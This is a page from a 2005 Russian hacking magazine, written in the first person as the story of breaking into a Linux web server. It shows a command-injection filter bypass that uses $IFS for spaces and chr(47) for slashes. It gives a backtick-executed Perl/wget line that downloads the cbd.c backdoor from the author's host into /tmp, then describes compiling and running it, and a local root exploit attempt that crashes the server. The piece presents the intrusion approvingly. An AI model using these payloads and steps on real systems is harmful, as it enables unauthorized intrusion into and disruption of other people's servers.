Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #78, ИЮНЬ 2005 г.

Через Web на Марс!

Master-lame-master

Хакер, номер #078, стр. 078-048-2


Я попробовал использовать обход фильтрации пробела с помощью переменной $IFS. Это помогло, но запрос немного усложнился. Теперь, чтобы узнать операционную систему, мне потребовалось ввести в строку браузера команду uname$IFS-a. Я определил, что сервер крутится под управлением двухпроцессорного пингвина. Думаю, не стоит говорить о том, что на сервере были зафайрволены почти все порты — это и так понятно. Я возлагал надежды на бэкдор cbd.c, который выручал меня во многих ситуациях. В данный момент я лишь хотел залить его на сервер. Но меня ждал один неприятный момент. Помимо пробела, скрипт фильтровал символ «/», из-за чего дать команду закачать файл у меня не получилось. Но я и не думал отчаиваться, ибо знал, как обойти такую проверку. В таблице ASCII коду 47 соответствует символ «/». Таким образом, с помощью консольных средств желаемый эффект достигается очень быстро :). Команда, генерирующая «/», имела вид: perl -e 'print chr(47)'. Осталось лишь интегрировать этот запрос с /usr/bin/wget и переменной $IFS. Чтобы скачать бэкдор, я сгенерировал следующую строку:

`perl -e "print 'wget myhost.com'.chr(47).'cbd.c –O '.chr(47).'tmp'.chr(47).'cbd.c'"`

Затем я изменил все пробелы на переменную $IFS (для обхода фильтрации) и передал строку серверу. Бэкдор незамедлительно был скачан и сохранен в каталог /tmp. Давай детально разберемся в том, что я только что сделал. Как тебе известно, любую Perl-команду можно выполнять прямо в консоли, передав ее после флага -e. Сейчас я заставил интерпретатор написать строку wget «myhost.com/cbd.c -O /tmp/cbd.c». Однако, учитывая то, что скрипт фильтрует пробел и обратный слэш, мне пришлось заменить их аналогами $IFS и chr(47) соответственно. Для того чтобы заставить эту команду выполниться, я обрамил ее символами «`». Таким образом, мой запрос генерировался и выполнялся на лету. Можно было бы поступить иначе и сохранить запрос во временном файле, но тогда пришлось бы заменять обратный слэш в пути к нему. Для сохранения данных в текущем каталоге у меня просто не было прав, поэтому я прибегнул к такому хитрому исполнению команды.

Далее процесс пошел намного быстрее и веселее. Бэкдор я скомпилил и запустил так же, как заливал его на сервер. Затем без особых сложностей я приконнектился к серверу и стал смотреть, что же интересного находится на его магнитных носителях :).

[полоса неудач]

Находясь внутри, я еще даже не предполагал, что за приключения меня ждут. Изначально было решено посмотреть, в какую, собственно, систему я проник :). Команды ps ax и cat /etc/*release показали, что передо мной преклонилась известная операционка SuSE Linux версии 8.2. Проанализировав все данные, я предположил, что локальный рут возможно взять только эксплойтом binfmt_elf(), ориентированным на SMP-системы. Извращаться с wget'ом уже не пришлось, ведь я работаю в полноценном шелле безо всякой фильтрации. Однако после запуска эксплойта система повела себя как-то странно. Вместо локального рута я получил страшный лаг при выполнении любой команды. Решив, что пора убить все процессы, порожденные страшным сплойтом, я снова полез к команде ps, однако в эту секунду связь с сервером прервалась. Я понял, что все это из-за кривого эксплойта, работа которого раз на раз не приходится. Было решено ждать, пока админ перезагрузит машину. И я дождался этого момента!

Назад на стр. 078-048-1  Содержание  Вперед на стр. 078-048-3